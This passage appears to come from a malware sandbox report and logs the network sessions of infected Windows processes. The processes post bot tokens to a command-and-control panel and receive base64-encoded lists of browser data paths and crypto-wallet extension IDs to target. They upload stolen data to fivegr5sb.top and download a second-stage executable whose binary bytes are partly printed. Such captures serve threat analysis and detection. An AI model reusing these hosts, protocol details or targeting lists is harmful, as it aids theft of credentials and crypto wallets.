R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 16, 2024 09:02:11.493927002 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 16, 2024 09:02:11.495402098 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"plugins------DAAECAFHDBGIDGCAEHJE--
Dec 16, 2024 09:02:11.944617987 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 16, 2024 09:02:11.944684029 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Dec 16, 2024 09:02:11.944700003 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Dec 16, 2024 09:02:11.944717884 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Dec 16, 2024 09:02:11.944793940 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Dec 16, 2024 09:02:11.944811106 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Dec 16, 2024 09:02:11.953120947 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Dec 16, 2024 09:02:12.160290003 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 2d 2d 0d 0a Data Ascii: ------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="message"fplugins------HCGCAAKJDHJJJJJKKKFB--
Dec 16, 2024 09:02:12.608112097 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 16, 2024 09:02:12.755984068 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH Host: 185.215.113.206 Content-Length: 7131 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 09:02:12.755984068 CET	7131	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 16, 2024 09:02:13.831207991 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49985	141.8.192.141	80	3192	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:10.835500002 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fivegr5sb.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------ojDav18xMfRc9HSM88KVzn Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6a 44 61 76 31 38 78 4d 66 52 63 39 48 53 4d 38 38 4b 56 7a 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 61 72 65 6c 69 77 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 32 20 77 7e 20 04 55 20 2f 69 2a 6d 48 2a 12 68 be 82 16 83 ab af aa b7 09 7c aa 95 b3 ba 98 03 c2 ab 02 86 b1 db 60 73 ea 46 57 5d 7f 45 22 84 14 8c f6 b8 3e aa 3a 67 3d 92 d9 ff 22 f9 19 9b 51 20 7f a3 e2 a9 75 9e 18 42 c6 5c 79 f5 3c 76 51 c6 93 45 0e 32 d7 7c f8 64 a8 48 b9 05 c9 0a 6a b5 e5 76 0e 9d 21 38 77 eb 76 f3 f5 6a 9a ae 1a 27 f9 98 fa 19 c9 af 39 cc 85 1d 8f 38 dc e2 34 eb 23 82 65 79 67 c5 68 39 66 6d 55 b8 de 64 78 78 95 98 34 4b 65 70 37 50 4c fc a2 fe 1f 74 07 88 e7 37 29 ec 64 bb 12 96 f9 3a b6 e0 cf 50 b2 [TRUNCATED] Data Ascii: --------------------------ojDav18xMfRc9HSM88KVznContent-Disposition: form-data; name="file"; filename="Qareliw.bin"Content-Type: application/octet-stream2 w~ U /imHh\|`sFW]E">:g="Q uB\y<vQE2\|dHjv!8wvj'984#eygh9fmUdxx4Kep7PLt7)d:Pp?.4~;Tq(Za7y[ff)ypQ<3b;M;--------------------------ojDav18xMfRc9HSM88KVzn--
Dec 16, 2024 09:02:12.171299934 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Mon, 16 Dec 2024 08:02:11 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734337932 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49986	185.215.113.16	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:11.810291052 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 09:02:13.045099020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:02:12 GMT Content-Type: application/octet-stream Content-Length: 970752 Last-Modified: Mon, 16 Dec 2024 07:20:28 GMT Connection: keep-alive ETag: "675fd4bc-ed000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad d4 5f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL_g" w@0K@@@d\|@xdu4@.text `.rdata@@.datalpH@.rsrcxd@f@@.relocuvZ@B
Dec 16, 2024 09:02:13.045159101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 16, 2024 09:02:13.045200109 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 16, 2024 09:02:13.045238018 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 16, 2024 09:02:13.045290947 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 16, 2024 09:02:13.045326948 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 16, 2024 09:02:13.045362949 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 16, 2024 09:02:13.045495987 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 16, 2024 09:02:13.045531034 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 16, 2024 09:02:13.045571089 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 16, 2024 09:02:13.165222883 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49991	141.8.192.141	80	3192	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe

Timestamp	Bytes transferred	Direction	Data
